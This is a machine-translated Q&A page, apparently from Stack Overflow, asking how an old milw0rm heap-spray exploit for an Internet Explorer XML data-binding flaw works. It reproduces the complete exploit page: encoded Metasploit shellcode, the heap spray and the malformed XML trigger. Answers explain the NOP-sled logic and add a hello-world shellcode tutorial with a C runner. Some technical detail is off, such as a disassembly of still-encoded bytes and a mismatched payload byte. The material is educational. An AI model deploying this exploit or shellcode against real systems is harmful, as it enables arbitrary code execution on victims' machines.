该milw0rm堆喷利用如何工作？

我通常没有阅读JavaScript代码的困难，但是对于这一点，我无法弄清楚逻辑。该代码来自4天前发布的漏洞利用程序。您可以在milw0rm上找到它。

这是代码：

<html>
    <div id="replace">x</div>
    <script>
        // windows/exec - 148 bytes
        // http://www.metasploit.com
        // Encoder: x86/shikata_ga_nai
        // EXITFUNC=process, CMD=calc.exe
        var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");

        // ugly heap spray, the d0nkey way!
        // works most of the time
        var spray = unescape("%u0a0a%u0a0a");

        do {
           spray += spray;
        } while(spray.length < 0xd0000);

        memory = new Array();

        for(i = 0; i < 100; i++)
           memory[i] = spray + shellcode;

        xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://&#x0a0a;&#x0a0a;.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";

        tag = document.getElementById("replace");
        tag.innerHTML = xmlcode;

    </script>
</html>

我相信这就是这样做，并且我希望您能为我误会的部分提供帮助。

变量shellcode包含打开的代码calc.exe。我不知道他们是如何找到那个奇怪的字符串的。任何的想法？

第二件事是变量spray。我不明白这个怪异的循环。

第三件事是memory永远不会在任何地方使用的变量。他们为什么创建它？

最后一件事：XML标签在页面中做什么？

目前，我有很好的答案，但大多数都是非常笼统的答案。我想对代码的价值做更多的解释。一个例子是unescape("%u0a0a%u0a0a");。这是什么意思？为循环同样的事情：为什么开发者写：length < 0xd0000？我希望得到更深刻的理解，而不仅仅是这个代码的理论。

Shellcode包含一些x86汇编指令，这些指令将进行实际利用。spray创建将要放入的长指令序列memory。由于我们通常无法找到外壳程序代码在内存中的确切位置，因此我们nop在其前面放了很多指令，然后跳到那里的某个地方。该memory数组将保存实际的x86代码以及跳转机制。我们将精心制作的XML馈送到存在错误的库中。对其进行解析时，该错误将导致指令指针寄存器被分配到我们利用程序中的某个位置，从而导致任意代码执行。

为了更深入地了解，您实际上应该弄清楚x86代码中的内容。unscape将用于将字符串表示的字节序列放入spray变量中。这是有效的x86代码，可填充很大一部分堆并跳转到Shellcode的开头。结束条件的原因是脚本引擎的字符串长度限制。字符串长度不能超过特定长度。

在x86程序集中，0a0a表示or cl, [edx]。就nop我们的利用而言，这实际上等效于指导。无论我们跳转到的何处spray，我们都将转到下一条指令，直到到达shellcode，这是我们实际上要执行的代码。

如果查看XML，也会看到0x0a0a它。准确描述发生的情况需要对漏洞利用有特定的了解（您必须知道错误在哪里以及如何利用该漏洞，我不知道）。但是，似乎我们通过将设置innerHtml为该恶意XML字符串来强制Internet Explorer触发错误代码。Internet Explorer尝试解析它，而错误代码以某种方式将控制权交给了数组所在的内存位置（因为它很大，因此跳转的可能性很高）。当我们跳到那里时，CPU将继续执行or cl, [edx]指令，直到到达存储在内存中的Shellcode的开头为止。

我已经反汇编了shellcode：

00000000  C9                leave
00000001  2B1F              sub ebx,[edi]
00000003  B10C              mov cl,0xc
00000005  BDC536DB9B        mov ebp,0x9bdb36c5
0000000A  D9C5              fld st5
0000000C  2474              and al,0x74
0000000E  5A                pop edx
0000000F  F4                hlt
00000010  EA8331FC0B6A6A    jmp 0x6a6a:0xbfc3183
00000017  03D4              add edx,esp
00000019  07                pop es
0000001A  67305CFF          xor [si-0x1],bl
0000001E  98                cwde
0000001F  BBD7FFA4FE        mov ebx,0xfea4ffd7
00000024  9B                wait
00000025  74AD              jz 0xffffffd4
00000027  058B8B028D        add eax,0x8d028b8b
0000002C  D893BCCD35A2      fcom dword [ebx+0xa235cdbc]
00000032  37                aaa
00000033  B84290A63A        mov eax,0x3aa69042
00000038  94                xchg eax,esp
00000039  E99AA4D58D        jmp 0x8dd5a4d8
0000003E  E5A3              in eax,0xa3
00000040  1F                pop ds
00000041  4C                dec esp
00000042  EB46              jmp short 0x8a
00000044  4B                dec ebx
00000045  8CD0              mov eax,ss
00000047  AD                lodsd
00000048  A844              test al,0x44
0000004A  52                push edx
0000004B  4A                dec edx
0000004C  3B81B80DD748      cmp eax,[ecx+0x48d70db8]
00000052  4B                dec ebx
00000053  D46C              aam 0x6c
00000055  46                inc esi
00000056  1392734A204F      adc edx,[edx+0x4f204a73]
0000005C  F8                clc
0000005D  6E                outsb
0000005E  DC8EA20726B4      fmul qword [esi+0xb42607a2]
00000064  04D4              add al,0xd4
00000066  D084ECBA978221    rol byte [esp+ebp*8+0x218297ba],1
0000006D  7CE8              jl 0x57
0000006F  C0CA8C            ror dl,0x8c
00000072  F4                hlt
00000073  A6                cmpsb
00000074  47                inc edi
00000075  210D2EA0B0CD      and [0xcdb0a02e],ecx
0000007B  2CA8              sub al,0xa8
0000007D  B05B              mov al,0x5b
0000007F  43                inc ebx
00000080  F4                hlt
00000081  24E8              and al,0xe8
00000083  7A9C              jpe 0x21
00000085  BB857DCBA0        mov ebx,0xa0cb7d85
0000008A  7DED              jnl 0x79
0000008C  92                xchg eax,edx
0000008D  09E1              or ecx,esp
0000008F  96                xchg eax,esi
00000090  315580            xor [ebp-0x80],edx

理解此shellcode需要x86汇编知识和MS库本身的问题（要知道到达此处时系统状态是什么），而不是JavaScript！该代码将依次执行calc.exe。

这似乎是对Microsoft发布了紧急补丁程序的Internet Explorer最近漏洞的利用。它在Microsoft XML处理程序的数据绑定功能中使用了一个缺陷，该缺陷导致堆内存被错误地释放。

Shellcode是发生错误时将运行的机器代码。Spray和内存只是在堆上分配的一些空间，以帮助发生可利用的条件。

堆喷涂是利用浏览器内容的常用方法，如果您喜欢它，则可以找到以下几篇文章：http : //sf-freedom.blogspot.com/2006/06/heap-spraying-introduction.html

每当我看到利用程序讨论中未解决的内存问题时，我首先想到的是利用程序是某种缓冲区溢出，在这种情况下，内存要么导致缓冲区溢出，要么在缓冲区溢出时被访问。

这来自metasploit，这意味着它正在使用metasploit外壳程序代码之一。它是开源的，因此您可以去获取它：http : //www.metasploit.com/

请参见HTML中的字符编码。

它是编码为字符串的二进制数据，JavaScript正在解码。

XSS的常见形式也是如此。

您可以在此处查看所有编码技巧：

http://www.owasp.org/index.php/类别：OWASP_CAL9000_Project

简单的shellcode示例

我相信汇编at＆t语法x86的世界非常好（培训中的向导）。

设置文件：vim shellcodeExample.s

.text           #required
.goblal _start  #required

_start:         #main function
 jmp one        #jump to the section labeled one:

two:
 pop  %rcx         #pop %rcx off the stack, or something
 xor  %rax, %rax   #Clear
 movl 4, %rax      #use sys_write(printf || std::cout)
 xor  %rbx, %rbx   #Clear
 inc  %rbx         #increment %rbx to 1 stdout(terminal)
 xor  %rdx, %rdx   #Clear Registers or something
 movb $13, %dl     #String Size
 int  $0x80

one:
 call two                   #jump up to section two:
 .ascii "Hello World\r\n"   #make the string one of the starting memory 
                            #^-addresses

像这样编译：as -o shellcodeExample.o shellcodeExample.s ; ld -s -o shellcode shellcodeExample.o

现在，您有了一个可以打印出您好世界的二进制文件。将二进制文件转换为shell代码类型：objdump -D shellcode

您将获得输出：

shellcode:     file format elf64-x86-64


Disassembly of section .text:

0000000000400078 <.text>:
  400078:   eb 1a                   jmp    0x400094
  40007a:   59                      pop    %rcx
  40007b:   48 31 c0                xor    %rax,%rax
  40007e:   b0 04                   mov    $0x4,%al
  400080:   48 31 db                xor    %rbx,%rbx
  400083:   48 ff c3                inc    %rbx
  400086:   48 31 d2                xor    %rdx,%rdx
  400089:   b2 0d                   mov    $0xd,%dl
  40008b:   cd 80                   int    $0x80
  40008d:   b0 01                   mov    $0x1,%al
  40008f:   48 ff cb                dec    %rbx
  400092:   cd 80                   int    $0x80
  400094:   e8 e1 ff ff ff          callq  0x40007a
  400099:   68 65 6c 6c 6f          pushq  $0x6f6c6c65
  40009e:   20 77 6f                and    %dh,0x6f(%rdi)
  4000a1:   72 6c                   jb     0x40010f
  4000a3:   64                      fs
  4000a4:   0d                      .byte 0xd
  4000a5:   0a                      .byte 0xa

现在，如果您在第四行显示文字，您将看到： 400078: eb 1a jmp 0x400094

该部分eb 1a表示汇编指令的十六进制表示形式，jmp one其中“一个”是字符串的内存地址。

准备要执行的Shellcode，请打开另一个文本文件，并将十六进制值存储在字符数组中。要正确格式化外壳程序代码，请\x在每个十六进制值之前键入a 。

根据objdump命令输出，接下来的shell代码示例将如下所示：

unsigned char PAYLOAD[] = 
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";

本示例对数组使用C。现在您有了可以写到标准输出“ hello world”的shellcode

您可以通过将shell代码置于漏洞中来对其进行测试，也可以编写以下c程序对其进行测试：

vim execShellcode.cc; //linux command to create c file.

/*Below is the content of execShellcode.cc*/
unsigned char PAYLOAD[] = 
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";

int main(){
    ((void(*)(void))PAYLOAD)();
    return 0;
}

要编译程序，请输入：

gcc -fno-stack-protector -z execstack execShellcode.cc -o run

运行与./run
您知道有简单的shellcode的发展是在Linux Mint的/ Debian测试的工作示例。

本文地址：http://javascript.askforanswer.com/gaimilw0rmduipenliyongruhegongzuo.html
文章标签：assembly , exploit , javascript , x86
版权声明：本文为原创文章，版权归 javascript 所有，欢迎分享本文，转载请保留出处！

文件下载